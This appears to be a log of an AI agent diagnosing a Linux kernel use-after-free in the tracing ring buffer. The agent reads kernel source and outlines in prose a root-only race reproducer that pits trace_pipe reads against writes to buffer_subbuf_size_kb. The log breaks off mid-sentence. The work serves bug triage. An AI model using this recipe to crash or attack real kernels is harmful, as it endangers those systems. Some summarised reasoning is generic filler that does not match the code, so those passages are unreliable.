2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 27359
output: 39
thoughts: 379
Thoughts: **My Thought Process Regarding the Kernel Crash**
It seems I've encountered a crash within the `ignore_event` function, specifically when accessing `iter->ent->type`. My immediate observation is that the presence or absence of the `TRACE_EVENT_FL_TEST_STR` flag on the event is irrelevant here, because the dereferencing of `iter->ent->type` occurs *before* any such flag would be checked. I need to remember that `iter->ent` is, in fact, a pointer to an event residing in the ring buffer.
Looking at the provided stack trace, the crash occurs at `ignore_event+0x83e/0xaa0` in `kernel/trace/trace.c:2526`. Following the call chain, `trace_event_printf` is called, which in turn calls `trace_raw_output_sys_enter` from `include/trace/events/syscalls.h:18`. This strongly suggests that a `sys_enter` event was being processed and formatted for output. Given this, it seems straightforward to simply enable `syscalls/sys_enter` events to potentially reproduce or analyze this issue further.
My next step is to confirm how to enable these specific events. A quick check of the tracing interface indicates that I can achieve this by writing `1` to `/sys/kernel/tracing/events/raw_syscalls/sys_enter/enable`. However, I notice the stack trace explicitly mentions `trace_raw_output_sys_enter`. This prompts me to investigate the definition of `trace_raw_output_sys_enter` to ensure I'm fully understanding its context and how it relates to the overall event handling.
|
| 62/2 |
2026/08/12 02:31 |
tool |
grepper |
0m
Error:
Args: map[Expression:trace_raw_output_sys_enter PathPrefix:include/trace/events/syscalls.h]
Results:
|
| 63/2 |
2026/08/12 02:31 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 27775
output: 36
thoughts: 16
Thoughts: **My Thought Process on Approaching the `syscalls.h` File**
Alright, so the immediate task at hand, the core of what I need to dig into, is located within `include/trace/events/syscalls.h`. This is where I expect to find the definitions and declarations for all the system call tracing events. My thinking is that if I'm going to understand how system calls are being traced, and perhaps how to manipulate or extend that tracing functionality, this is the foundational file I must examine. It's the central hub for this specific area of tracing. I need to understand its structure, the macros it likely employs, and how it maps kernel activities to observable tracepoints. My primary objective is to gain a clear picture of the system call tracing infrastructure as it's exposed in the header files.
|
| 64/2 |
2026/08/12 02:31 |
tool |
read-file |
0m
Args: map[File:include/trace/events/syscalls.h FirstLine:1 LineCount:50]
Results: map[Contents: 1: /* SPDX-License-Identifier: GPL-2.0 */
2: #undef TRACE_SYSTEM
3: #define TRACE_SYSTEM raw_syscalls
4: #undef TRACE_INCLUDE_FILE
5: #define TRACE_INCLUDE_FILE syscalls
6:
7: #if !defined(_TRACE_EVENTS_SYSCALLS_H) || defined(TRACE_HEADER_MULTI_READ)
8: #define _TRACE_EVENTS_SYSCALLS_H
9:
10: #include <linux/tracepoint.h>
11:
12: #include <asm/ptrace.h>
13: #include <asm/syscall.h>
14:
15:
16: #ifdef CONFIG_HAVE_SYSCALL_TRACEPOINTS
17:
18: TRACE_EVENT_SYSCALL(sys_enter,
19:
20: TP_PROTO(struct pt_regs *regs, long id),
21:
22: TP_ARGS(regs, id),
23:
24: TP_STRUCT__entry(
25: __field( long, id )
26: __array( unsigned long, args, 6 )
27: ),
28:
29: TP_fast_assign(
30: __entry->id = id;
31: syscall_get_arguments(current, regs, __entry->args);
32: ),
33:
34: TP_printk("NR %ld (%lx, %lx, %lx, %lx, %lx, %lx)",
35: __entry->id,
36: __entry->args[0], __entry->args[1], __entry->args[2],
37: __entry->args[3], __entry->args[4], __entry->args[5]),
38:
39: syscall_regfunc, syscall_unregfunc
40: );
41:
42: TRACE_EVENT_FLAGS(sys_enter, TRACE_EVENT_FL_CAP_ANY)
43:
44: TRACE_EVENT_SYSCALL(sys_exit,
45:
46: TP_PROTO(struct pt_regs *regs, long ret),
47:
48: TP_ARGS(regs, ret),
49:
50: TP_STRUCT__entry(
]
|
| 65/2 |
2026/08/12 02:31 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 28486
output: 38
thoughts: 1054
Thoughts: **My Thought Process on Debugging a Kernel Tracing Race Condition**
I've been diving into a rather tricky kernel tracing bug, and it all started with an event named `raw_syscalls/sys_enter`. My initial thought was straightforward: I can enable this by simply echoing `1` into `/sys/kernel/tracing/events/raw_syscalls/sys_enter/enable`.
However, the bug report threw me a curveball. It referenced `trace_raw_output_sys_enter+0x4c/0x60 include/trace/events/syscalls.h:18`. This pointed to a macro expansion, specifically `TRACE_EVENT_SYSCALL(sys_enter, ...)`, which is what generates the `trace_raw_output_sys_enter` function. This suggested a deeper interaction with the tracing infrastructure than just enabling an event.
My next step was to outline a reproduction strategy. The core idea was to create a race condition between reading from the trace pipe and modifying the buffer size.
1. **Enable the event:** This is the same as my initial thought – echo `1` to the enable file.
2. **Set up the readers:** I need to read from `/sys/kernel/tracing/trace_pipe`.
3. **Set up the writers:** This is where it gets interesting. The bug report seemed to hint at issues with `buffer_subbuf_size_kb`. So, I planned to open `/sys/kernel/tracing/buffer_subbuf_size_kb` for writing.
4. **Generate traffic:** I'd need two threads: one to continuously read from `trace_pipe` and another to continuously write values like "4" and "8" to `buffer_subbuf_size_kb`.
5. **Keep things active:** I also planned to have a third thread constantly generating system calls, like `getpid()`, to ensure there was actual tracing data flowing.
I then started to refine this into a C program. A key question arose: is `buffer_subbuf_size_kb` a global setting or per-instance? Looking at its path, `/sys/kernel/tracing/buffer_subbuf_size_kb`, it appears to be global, affecting the main trace array. This simplified things; I didn't need to worry about per-thread buffer configurations.
The C reproducer I drafted looked something like this:
* A `read_pipe` thread that opens `trace_pipe`, reads in a loop.
* A `write_size` thread that opens `buffer_subbuf_size_kb`, writes "4" then "8" repeatedly.
* A `do_syscalls` thread that calls `getpid()` in a loop.
* The `main` function to enable the `sys_enter` event and create these threads.
I encountered a small hurdle: `trace_pipe` blocks if there are no events. My `do_syscalls` thread should prevent this. Also, `trace_pipe` reads *consume* events. This is crucial. The race condition I'm aiming for is between the `tracing_read_pipe` function (which reads from the pipe) and `buffer_subbuf_size_write` (the function handling writes to `buffer_subbuf_size_kb`).
Specifically, `tracing_read_pipe` calls `trace_find_next_entry_inc` to get the next event, and then `print_trace_line` to process it. If `buffer_subbuf_size_write` is concurrently executing and modifies the subbuffer size, it might free the very page containing the event that `tracing_read_pipe` is about to access or is currently processing. This is the core of the potential crash.
A critical question then became: does `buffer_subbuf_size_write` wait for readers to finish with a page before resizing? My initial analysis suggested it doesn't. It primarily grabs `buffer->mutex` and `cpu_buffer->reader_lock`. On the other hand, `tracing_read_pipe` uses `trace_access_lock` and `iter->mutex`. Since `buffer_subbuf_size_write` doesn't acquire `trace_access_lock` or `iter->mutex`, they can indeed run concurrently, paving the way for the race.
Finally, I started thinking about other ways the buffer might be resized. Is `buffer_subbuf_size_write` the *only* trigger for this behavior? What about `tracing_resize_ring_buffer`? This function changes the number of pages allocated to the buffer. The important question there is whether `ring_buffer_resize` (which `tracing_resize_ring_buffer` likely calls) also frees the current reader page in a way that conflicts with active readers. I need to examine that code path more closely.
|
| 66/2 |
2026/08/12 02:31 |
tool |
read-file |
0m
Args: map[File:kernel/trace/ring_buffer.c FirstLine:2400 LineCount:50]
Results: map[Contents:2400: for (i = 0; i < nr_pages; i++) {
2401:
2402: bpage = alloc_cpu_page(cpu_buffer->cpu);
2403: if (!bpage)
2404: goto free_pages;
2405:
2406: rb_check_bpage(cpu_buffer, bpage);
2407:
2408: /*
2409: * Append the pages as for mapped buffers we want to keep
2410: * the order
2411: */
2412: list_add_tail(&bpage->list, pages);
2413:
2414: if (meta) {
2415: /* A range was given. Use that for the buffer page */
2416: bpage->page = rb_range_buffer(cpu_buffer, i + 1);
2417: if (!bpage->page)
2418: goto free_pages;
2419: /* If this is valid from a previous boot */
2420: if (meta->head_buffer)
2421: rb_meta_buffer_update(cpu_buffer, bpage);
2422: bpage->range = 1;
2423: bpage->id = i + 1;
2424: } else if (desc) {
2425: void *p = ring_buffer_desc_page(desc, i + 1);
2426:
2427: if (WARN_ON(!p))
2428: goto free_pages;
2429:
2430: bpage->page = p;
2431: bpage->range = 1; /* bpage->page can't be freed */
2432: bpage->id = i + 1;
2433: cpu_buffer->subbuf_ids[i + 1] = bpage;
2434: } else {
2435: int order = cpu_buffer->buffer->subbuf_order;
2436: bpage->page = alloc_cpu_data(cpu_buffer->cpu, order);
2437: if (!bpage->page)
2438: goto free_pages;
2439: }
2440: bpage->order = cpu_buffer->buffer->subbuf_order;
2441:
2442: if (user_thread && fatal_signal_pending(current))
2443: goto free_pages;
2444: }
2445: if (user_thread)
2446: clear_current_oom_origin();
2447:
2448: return 0;
2449:
]
|
| 67/2 |
2026/08/12 02:31 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 30307
output: 38
thoughts: 38
Thoughts: **My Thought Process Regarding `ring_buffer_resize` and Reader Page Management**
Okay, so I've been looking at the `ring_buffer_resize` function, and a rather concerning thought has just struck me: it seems like it might *not* be freeing the reader page correctly, *even when the buffer is simply expanding or shrinking*. This feels like a potential oversight, and I need to investigate it further. My immediate next step is to dive specifically into the shrinking scenario within `ring_buffer_resize` to see exactly how it handles deallocation in that particular case. I suspect there might be a logic gap there where the reader page isn't being released as it should be.
|
| 68/2 |
2026/08/12 02:31 |
tool |
read-file |
0m
Args: map[File:kernel/trace/ring_buffer.c FirstLine:2520 LineCount:50]
Results: map[Contents:2520: * Range mapped buffers have the same restrictions as memory
2521: * mapped ones do.
2522: */
2523: cpu_buffer->mapped = 1;
2524: cpu_buffer->ring_meta = rb_range_meta(buffer, nr_pages, cpu);
2525: bpage->page = rb_range_buffer(cpu_buffer, 0);
2526: if (!bpage->page)
2527: goto fail_free_reader;
2528: if (cpu_buffer->ring_meta->head_buffer)
2529: rb_meta_buffer_update(cpu_buffer, bpage);
2530: bpage->range = 1;
2531: } else if (buffer->remote) {
2532: struct ring_buffer_desc *desc = ring_buffer_desc(buffer->remote->desc, cpu);
2533:
2534: if (!desc)
2535: goto fail_free_reader;
2536:
2537: cpu_buffer->remote = buffer->remote;
2538: cpu_buffer->meta_page = (struct trace_buffer_meta *)(void *)desc->meta_va;
2539: cpu_buffer->nr_pages = nr_pages;
2540: cpu_buffer->subbuf_ids = kcalloc(cpu_buffer->nr_pages + 1,
2541: sizeof(*cpu_buffer->subbuf_ids), GFP_KERNEL);
2542: if (!cpu_buffer->subbuf_ids)
2543: goto fail_free_reader;
2544:
2545: /* Remote buffers are read-only and immutable */
2546: atomic_inc(&cpu_buffer->record_disabled);
2547: atomic_inc(&cpu_buffer->resize_disabled);
2548:
2549: bpage->page = ring_buffer_desc_page(desc, cpu_buffer->meta_page->reader.id);
2550: if (!bpage->page)
2551: goto fail_free_reader;
2552:
2553: bpage->range = 1;
2554: cpu_buffer->subbuf_ids[0] = bpage;
2555: } else {
2556: int order = cpu_buffer->buffer->subbuf_order;
2557: bpage->page = alloc_cpu_data(cpu, order);
2558: if (!bpage->page)
2559: goto fail_free_reader;
2560: }
2561:
2562: INIT_LIST_HEAD(&cpu_buffer->reader_page->list);
2563: INIT_LIST_HEAD(&cpu_buffer->new_pages);
2564:
2565: ret = rb_allocate_pages(cpu_buffer, nr_pages);
2566: if (ret < 0)
2567: goto fail_free_reader;
2568:
2569: rb_meta_validate_events(cpu_buffer);
]
|
| 69/2 |
2026/08/12 02:31 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 31209
output: 38
thoughts: 14
Thoughts: **My Thought Process Regarding `ring_buffer_resize` During Shrinking Operations**
Alright, so my initial focus here is on the `ring_buffer_resize` function, specifically when the operation involves *shrinking* the buffer. This is a critical area, as resizing, especially shrinking, can introduce subtle bugs if not handled with absolute precision. I need to ensure that when the capacity is reduced, no data is lost prematurely, and that the internal pointers (head and tail) are correctly adjusted to reflect the new, smaller state without corrupting the existing data.
My immediate thought is to trace the execution flow within `ring_buffer_resize` when the new capacity is less than the current capacity. I'm looking for the logic that dictates how elements are handled. Does it simply truncate the buffer? If so, how does it determine which elements to keep? Does it carefully copy the relevant elements from the old, larger buffer into the new, smaller one, preserving the correct order?
Specifically, I'm concerned about the interplay between the `head` and `tail` pointers and the modulo arithmetic used to manage the circular nature of the buffer. When shrinking, the logical distance between the `head` and `tail` (which represents the number of elements in the buffer) will change. I need to verify that this change is accounted for correctly. A common pitfall here is if the `tail` pointer is advanced past the new logical end of the buffer due to an incorrect calculation, effectively losing data. Conversely, if the `head` pointer isn't adjusted properly, we might start reading from an invalid memory location or re-read old data.
Furthermore, I'm considering the case where the buffer is almost full before shrinking. If the shrinking operation is aggressive and the new capacity is only slightly larger than the current number of elements, I need to be absolutely certain that the buffer's internal representation accurately reflects the reduced capacity without any "wraparound" issues or unexpected data duplication.
Ultimately, my goal is to build confidence that the `ring_buffer_resize` function, when invoked to reduce the buffer's size, maintains data integrity, accurately reflects the new capacity, and correctly repositions the `head` and `tail` pointers to allow for continued correct operation of the ring buffer. This involves a meticulous review of the pointer arithmetic and data movement logic within that specific code path.
|
| 70/2 |
2026/08/12 02:31 |
tool |
read-file |
0m
Args: map[File:kernel/trace/ring_buffer.c FirstLine:3170 LineCount:50]
Results: map[Contents:3170: }
3171: return success;
3172: }
3173:
3174: static void rb_update_pages(struct ring_buffer_per_cpu *cpu_buffer)
3175: {
3176: bool success;
3177:
3178: if (cpu_buffer->nr_pages_to_update > 0)
3179: success = rb_insert_pages(cpu_buffer);
3180: else
3181: success = rb_remove_pages(cpu_buffer,
3182: -cpu_buffer->nr_pages_to_update);
3183:
3184: if (success)
3185: cpu_buffer->nr_pages += cpu_buffer->nr_pages_to_update;
3186: }
3187:
3188: static void update_pages_handler(struct work_struct *work)
3189: {
3190: struct ring_buffer_per_cpu *cpu_buffer = container_of(work,
3191: struct ring_buffer_per_cpu, update_pages_work);
3192: rb_update_pages(cpu_buffer);
3193: complete(&cpu_buffer->update_done);
3194: }
3195:
3196: /**
3197: * ring_buffer_resize - resize the ring buffer
3198: * @buffer: the buffer to resize.
3199: * @size: the new size.
3200: * @cpu_id: the cpu buffer to resize
3201: *
3202: * Minimum size is 2 * buffer->subbuf_size.
3203: *
3204: * Returns 0 on success and < 0 on failure.
3205: */
3206: int ring_buffer_resize(struct trace_buffer *buffer, unsigned long size,
3207: int cpu_id)
3208: {
3209: struct ring_buffer_per_cpu *cpu_buffer;
3210: unsigned long nr_pages;
3211: int cpu, err;
3212:
3213: /*
3214: * Always succeed at resizing a non-existent buffer:
3215: */
3216: if (!buffer)
3217: return 0;
3218:
3219: /* Make sure the requested buffer exists */
]
|
| 71/2 |
2026/08/12 02:31 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 31936
output: 36
thoughts: 2787
Thoughts: **My Thoughts on Triggering the Use-After-Free in the Kernel Tracer**
I've been digging into this kernel bug, and it seems to stem from a use-after-free (UAF) vulnerability related to the ring buffer implementation within the kernel's tracing subsystem. My primary goal is to reliably trigger this UAF.
Initially, I considered the `rb_remove_pages` function. My understanding was that it might be responsible for removing pages from the ring buffer. However, I quickly realized that `rb_remove_pages` specifically targets pages from the *writer* list and doesn't necessarily affect the reader's view of the buffer. This distinction is critical.
Then I looked at `ring_buffer_subbuf_order_set`. This function, unlike `rb_remove_pages`, appears to replace *all* pages associated with the ring buffer's sub-buffer, and importantly, this includes the pages that the reader is currently using. This is a much more promising avenue for triggering the UAF, as it directly manipulates the reader's page.
This led me to focus on `buffer_subbuf_size_kb`. Modifying this particular file in `/sys/kernel/tracing/` seemed to be the most direct and reliable way to invoke `ring_buffer_subbuf_order_set` and thus potentially the UAF on the reader page.
To reproduce this, I started sketching out a C program. The core idea is to create a race condition. I need one thread to constantly read from `trace_pipe` (this is our reader thread), another thread to rapidly change the sub-buffer size (triggering the page reallocations and frees), and a third thread to continuously generate trace events so that the reader thread doesn't block indefinitely.
My first pass at the reproducer involved reading from `/sys/kernel/tracing/trace_pipe` in one thread. For the size-changing thread, I decided to write values "4" and "8" repeatedly to `/sys/kernel/tracing/buffer_subbuf_size_kb`. The third thread would be busy-looping `syscall(SYS_getpid)` to generate `sys_enter` events.
A key point of concern arose: `trace_pipe` reading can block if there are no events. Fortunately, the `do_syscalls` thread is intended to prevent this by constantly generating events.
I then had to be precise about the tracepoint path. The bug report pointed to `trace_raw_output_sys_enter`, which is called from `include/trace/events/syscalls.h`. My initial thought was `/sys/kernel/tracing/events/syscalls/sys_enter/enable`, but after examining the `#define TRACE_SYSTEM raw_syscalls` and `#define TRACE_INCLUDE_FILE syscalls` in the header, I confirmed the correct path is `/sys/kernel/tracing/events/raw_syscalls/sys_enter/enable`.
However, to make the reproducer more robust and less dependent on a specific tracepoint being available, I decided to simplify by enabling *all* events using `/sys/kernel/tracing/events/enable` and writing "1". This guarantees a flood of events and avoids the need to worry about the exact event path.
So, I refined the C reproducer. I made sure to:
1. Open `trace_pipe` for reading in `read_pipe`.
2. Open `buffer_subbuf_size_kb` for writing in `write_size` and repeatedly write "4" and "8".
3. Continuously call `syscall(SYS_getpid)` in `do_syscalls`.
4. Enable all tracing events globally.
5. Create and join the threads appropriately.
A slight concern about the `write` calls to `buffer_subbuf_size_kb` arose. I initially wrote single characters ("4", "8"). I reviewed the kernel code for `kstrtoul_from_user` and realized it expects a string that can be parsed. While it can handle strings without null terminators if the count is correct, it's generally safer to include a newline, as the underlying parsing functions often rely on it. So, I adjusted the writes to "4\n" and "8\n".
I also re-examined the `buffer_subbuf_size_write` function in the kernel. I noticed it calls `tracing_stop_tr(tr)` and then proceeds with the sub-buffer order change. My concern here was whether `tracing_stop_tr` would permanently disable tracing, thereby preventing new events from being generated and causing the `read_pipe` thread to block. However, the code within `buffer_subbuf_size_write` doesn't permanently disable tracing; it's a temporary stop needed for the reconfiguration. The overall tracing mechanism should still be active, allowing new events to be generated.
Finally, I considered the timing. The race condition is between `ring_buffer_iter_peek` releasing the `reader_lock` and `print_trace_line` using the event pointer. This is a very tight window, but with the aggressive loops in both the reader and the size-changer threads, I'm confident it should be sufficient to trigger the UAF. When KASAN is enabled, it will catch the subsequent use of the freed page in `ignore_event` when it tries to access `iter->ent->type`. The fact that `buffer_subbuf_size_kb` is writable by root is also a prerequisite that is met.
The refined reproducer looks solid and addresses these points.
|
| 72/2 |
2026/08/12 02:32 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:8210 LineCount:50]
Results: map[Contents:8210: /* limit between 1 and 128 system pages */
8211: if (order < 0 || order > 7)
8212: return -EINVAL;
8213:
8214: /* Do not allow tracing while changing the order of the ring buffer */
8215: tracing_stop_tr(tr);
8216:
8217: old_order = ring_buffer_subbuf_order_get(tr->array_buffer.buffer);
8218: if (old_order == order)
8219: goto out;
8220:
8221: ret = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, order);
8222: if (ret)
8223: goto out;
8224:
8225: #ifdef CONFIG_TRACER_SNAPSHOT
8226:
8227: if (!tr->allocated_snapshot)
8228: goto out_max;
8229:
8230: ret = ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order);
8231: if (ret) {
8232: /* Put back the old order */
8233: cnt = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, old_order);
8234: if (WARN_ON_ONCE(cnt)) {
8235: /*
8236: * AARGH! We are left with different orders!
8237: * The max buffer is our "snapshot" buffer.
8238: * When a tracer needs a snapshot (one of the
8239: * latency tracers), it swaps the max buffer
8240: * with the saved snap shot. We succeeded to
8241: * update the order of the main buffer, but failed to
8242: * update the order of the max buffer. But when we tried
8243: * to reset the main buffer to the original size, we
8244: * failed there too. This is very unlikely to
8245: * happen, but if it does, warn and kill all
8246: * tracing.
8247: */
8248: tracing_disabled = 1;
8249: }
8250: goto out;
8251: }
8252: out_max:
8253: #endif
8254: (*ppos)++;
8255: out:
8256: if (ret)
8257: cnt = ret;
8258: tracing_start_tr(tr);
8259: return cnt;
]
|
| 73/2 |
2026/08/12 02:32 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 35476
output: 38
thoughts: 1148
Thoughts: **Understanding the Race Condition in Kernel Tracing**
Initially, I noticed that the `tracing_start_tr` function was called at the end, which implied that tracing was only temporarily disabled. This means events would continue to be recorded, and I needed to account for that ongoing activity.
Then, I questioned whether `buffer_subbuf_size_kb` required the file to be opened and closed for each write, or if it could be written to in a loop with the file descriptor kept open. My understanding solidified that we could indeed keep the `fd` open and write to it repeatedly. I also pondered if `ppos` was relevant to `buffer_subbuf_size_write`, and confirmed that it only parses `ubuf` and doesn't depend on `ppos`.
My primary focus then shifted to the core bug: a use-after-free vulnerability within `ignore_event`. This occurs because a ring buffer page is freed while `tracing_read_pipe` is in the process of handling an event. The specific race condition I identified is between `tracing_read_pipe` (which ultimately calls into `trace_find_next_entry_inc`, then `peek_next_entry`, and finally `ring_buffer_iter_peek`) and `buffer_subbuf_size_write` (which calls `ring_buffer_subbuf_order_set`).
Delving deeper into the mechanics, I saw that `ring_buffer_iter_peek` acquires `cpu_buffer->reader_lock`, fetches the event pointer, and then releases the lock. Crucially, `ring_buffer_subbuf_order_set` also acquires `cpu_buffer->reader_lock`, swaps the reader page, releases the lock, and then frees the *old* reader page. The vulnerability arises if `ring_buffer_subbuf_order_set` executes after `ring_buffer_iter_peek` has released its lock but *before* `tracing_read_pipe` has fully finished processing the event pointer. This could lead to the event pointer referencing deallocated memory, which would be a use-after-free.
To exacerbate this race condition, I considered strategies to maximize the window. I initially thought about using multiple threads reading from `trace_pipe` and writing to `buffer_subbuf_size_kb`. However, I realized that `trace_pipe` utilizes a mutex (`iter->mutex`), which would serialize reads from multiple threads. The effective approach would be to have one thread reading from `trace_pipe` and another thread concurrently writing to `buffer_subbuf_size_kb`. While the `race` toolkit could be employed if necessary, for a syzkaller-style bug, a simpler approach with a direct loop is usually sufficient, especially when crafting a standalone C program.
This led me to construct a proof-of-concept C program. The program first enables all trace events to ensure there's data to generate. Then, it creates three threads: one for continuously reading from `/sys/kernel/tracing/trace_pipe`, another for repeatedly writing new values to `/sys/kernel/tracing/buffer_subbuf_size_kb` (to trigger the page resizing), and a third thread to generate system calls, ensuring there's active tracing activity.
I also reflected on the scope of the race. Since `trace_pipe` reads from all CPUs and `buffer_subbuf_size_write` updates all CPUs, the race could occur on any CPU. While pinning threads to specific CPUs *could* increase the likelihood, I surmised it might not be strictly necessary for triggering the bug.
Finally, I revisited whether `buffer_subbuf_size_kb` was the *sole* vector. I considered `buffer_size_kb` and its relation to `tracing_resize_ring_buffer` and `ring_buffer_resize`. My initial understanding was that `ring_buffer_resize` only freed writer pages when shrinking. However, I paused to reconsider this, prompting a closer examination of the `rb_remove_pages` function within `kernel/trace/ring_buffer.c` to definitively verify the page freeing behavior.
|
| 74/2 |
2026/08/12 02:32 |
tool |
read-file |
0m
Args: map[File:kernel/trace/ring_buffer.c FirstLine:2960 LineCount:50]
Results: map[Contents:2960: }
2961:
2962: void ring_buffer_set_time_stamp_abs(struct trace_buffer *buffer, bool abs)
2963: {
2964: buffer->time_stamp_abs = abs;
2965: }
2966:
2967: bool ring_buffer_time_stamp_abs(struct trace_buffer *buffer)
2968: {
2969: return buffer->time_stamp_abs;
2970: }
2971:
2972: static inline unsigned long rb_page_entries(struct buffer_page *bpage)
2973: {
2974: return local_read(&bpage->entries) & RB_WRITE_MASK;
2975: }
2976:
2977: static inline unsigned long rb_page_write(struct buffer_page *bpage)
2978: {
2979: return local_read(&bpage->write) & RB_WRITE_MASK;
2980: }
2981:
2982: static bool
2983: rb_remove_pages(struct ring_buffer_per_cpu *cpu_buffer, unsigned long nr_pages)
2984: {
2985: struct list_head *tail_page, *to_remove, *next_page;
2986: struct buffer_page *to_remove_page, *tmp_iter_page;
2987: struct buffer_page *last_page, *first_page;
2988: unsigned long nr_removed;
2989: unsigned long head_bit;
2990: int page_entries;
2991:
2992: head_bit = 0;
2993:
2994: raw_spin_lock_irq(&cpu_buffer->reader_lock);
2995: atomic_inc(&cpu_buffer->record_disabled);
2996: /*
2997: * We don't race with the readers since we have acquired the reader
2998: * lock. We also don't race with writers after disabling recording.
2999: * This makes it easy to figure out the first and the last page to be
3000: * removed from the list. We unlink all the pages in between including
3001: * the first and last pages. This is done in a busy loop so that we
3002: * lose the least number of traces.
3003: * The pages are freed after we restart recording and unlock readers.
3004: */
3005: tail_page = &cpu_buffer->tail_page->list;
3006:
3007: /*
3008: * tail page might be on reader page, we remove the next page
3009: * from the ring buffer
]
|
| 75/2 |
2026/08/12 02:32 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 37415
output: 38
thoughts: 12
Thoughts: **My Thought Process for Delving into `rb_remove_pages`**
Alright, so my focus is now squarely on understanding the `rb_remove_pages` function. I'm diving in with the intent to thoroughly grasp its mechanics, its role within the larger system, and its implications. I expect this function to be a critical piece of the puzzle, likely dealing with the deallocation and cleanup of memory pages, and I'm keen to see how it handles potential complexities like concurrency, error conditions, and fragmentation. My goal is to not just skim the code but to internalize its logic, anticipate its behavior under various scenarios, and identify any potential areas for optimization or improvement. Essentially, I'm preparing to dissect this function piece by piece, ensuring I have a comprehensive and insightful understanding of its inner workings.
|
| 76/2 |
2026/08/12 02:32 |
tool |
read-file |
0m
Args: map[File:kernel/trace/ring_buffer.c FirstLine:3010 LineCount:50]
Results: map[Contents:3010: */
3011: if (cpu_buffer->tail_page == cpu_buffer->reader_page)
3012: tail_page = rb_list_head(tail_page->next);
3013: to_remove = tail_page;
3014:
3015: /* start of pages to remove */
3016: first_page = list_entry(rb_list_head(to_remove->next),
3017: struct buffer_page, list);
3018:
3019: for (nr_removed = 0; nr_removed < nr_pages; nr_removed++) {
3020: to_remove = rb_list_head(to_remove)->next;
3021: head_bit |= (unsigned long)to_remove & RB_PAGE_HEAD;
3022: }
3023: /* Read iterators need to reset themselves when some pages removed */
3024: cpu_buffer->pages_removed += nr_removed;
3025:
3026: next_page = rb_list_head(to_remove)->next;
3027:
3028: /*
3029: * Now we remove all pages between tail_page and next_page.
3030: * Make sure that we have head_bit value preserved for the
3031: * next page
3032: */
3033: tail_page->next = (struct list_head *)((unsigned long)next_page |
3034: head_bit);
3035: next_page = rb_list_head(next_page);
3036: next_page->prev = tail_page;
3037:
3038: /* make sure pages points to a valid page in the ring buffer */
3039: cpu_buffer->pages = next_page;
3040: cpu_buffer->cnt++;
3041:
3042: /* update head page */
3043: if (head_bit)
3044: cpu_buffer->head_page = list_entry(next_page,
3045: struct buffer_page, list);
3046:
3047: /* pages are removed, resume tracing and then free the pages */
3048: atomic_dec(&cpu_buffer->record_disabled);
3049: raw_spin_unlock_irq(&cpu_buffer->reader_lock);
3050:
3051: RB_WARN_ON(cpu_buffer, list_empty(cpu_buffer->pages));
3052:
3053: /* last buffer page to remove */
3054: last_page = list_entry(rb_list_head(to_remove), struct buffer_page,
3055: list);
3056: tmp_iter_page = first_page;
3057:
3058: do {
3059: cond_resched();
]
|
| 77/2 |
2026/08/12 02:32 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 38243
output: 43
thoughts: 1314
Thoughts: **My Thought Process on the `trace_pipe` Use-After-Free Bug**
Alright, let's walk through how I arrived at understanding this `trace_pipe` use-after-free (UAF) vulnerability. My primary goal was to pinpoint the exact mechanism causing the UAF and then construct a reliable reproducer.
Initially, I was looking at `rb_remove_pages` and realized it *doesn't* actually remove the reader page itself. That was a key distinction. My investigation then led me to `ring_buffer_subbuf_order_set`. I discovered this is the *only* function that actually replaces the reader page and, crucially, frees the old one. This immediately made `buffer_subbuf_size_kb` a prime suspect as the trigger for this page replacement.
To confirm this, I performed a thorough check for any other call sites of `ring_buffer_subbuf_order_set`. My search came up empty; `buffer_subbuf_size_kb` is indeed the sole caller. This cemented my belief that `buffer_subbuf_size_kb` was the correct trigger to focus on for the reproducer.
With that established, I felt confident that the reproducer logic, which involves continuously writing to `buffer_subbuf_size_kb`, was solid.
Now, looking at the specific bug report, I noticed `ignore_event` being called from `trace_event_printf`, which in turn comes from `trace_raw_output_sys_enter`. My initial thought was, "Does this mean `trace_pipe` is reading in raw format?" However, I quickly clarified that `trace_raw_output_sys_enter` is simply the print function for the `sys_enter` event, generated by the `TRACE_EVENT_SYSCALL` macro. It's the default print handler for this event type.
I also dug into whether any specific trace options were necessary. The report indicated a path from `print_trace_fmt` to `trace_raw_output_sys_enter`, and then to `print_trace_line`. I confirmed that this sequence represents the default behavior, so no special configuration beyond enabling events was needed on that front.
A critical point to address was the availability of `buffer_subbuf_size_kb`. I pondered if it might be an older kernel feature. However, considering the bug report was against "syzkaller #0 PREEMPT(full)", and knowing that the commit introducing `buffer_subbuf_size_kb` is relatively recent (around v6.6 or v6.7), it was highly likely to be present. Furthermore, the bug report itself showed a call trace pointing to `buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221`, definitively confirming its existence in the target kernel.
So, to summarize my analysis leading to the reproducer:
1. **The Core Problem:** The bug is a use-after-free (UAF) within the `ignore_event` function. This happens when it attempts to dereference `iter->ent->type`, but `iter->ent` has already been invalidated.
2. **The Reader Page Context:** `iter->ent` points to an event stored in the ring buffer's reader page. This is the page that `tracing_read_pipe` is currently accessing.
3. **Reading the Event:** When `tracing_read_pipe` reads an event, it uses functions like `trace_find_next_entry_inc`, `peek_next_entry`, and `ring_buffer_iter_peek`. `ring_buffer_iter_peek` is the key here: it acquires the `cpu_buffer->reader_lock`, retrieves the pointer to the event data, and then *releases* the lock.
4. **The Race Condition:** Concurrently, writing to `buffer_subbuf_size_kb` triggers `buffer_subbuf_size_write`, which in turn calls `ring_buffer_subbuf_order_set`.
5. **The Page Replacement:** `ring_buffer_subbuf_order_set` acquires the *same* `cpu_buffer->reader_lock`. It then swaps the current reader page with a newly allocated one, releases the lock, and, critically, *frees the old reader page*.
6. **The UAF Trigger:** Because `tracing_read_pipe` had already obtained a pointer to the old reader page and released the lock *before* the page was freed, when `tracing_read_pipe` later uses that pointer (during `print_trace_line` -> `print_trace_fmt` -> `trace_raw_output_sys_enter` -> `trace_event_printf` -> `ignore_event`), it's now operating on freed memory, leading to the UAF.
Therefore, to reliably reproduce this, the following actions are essential:
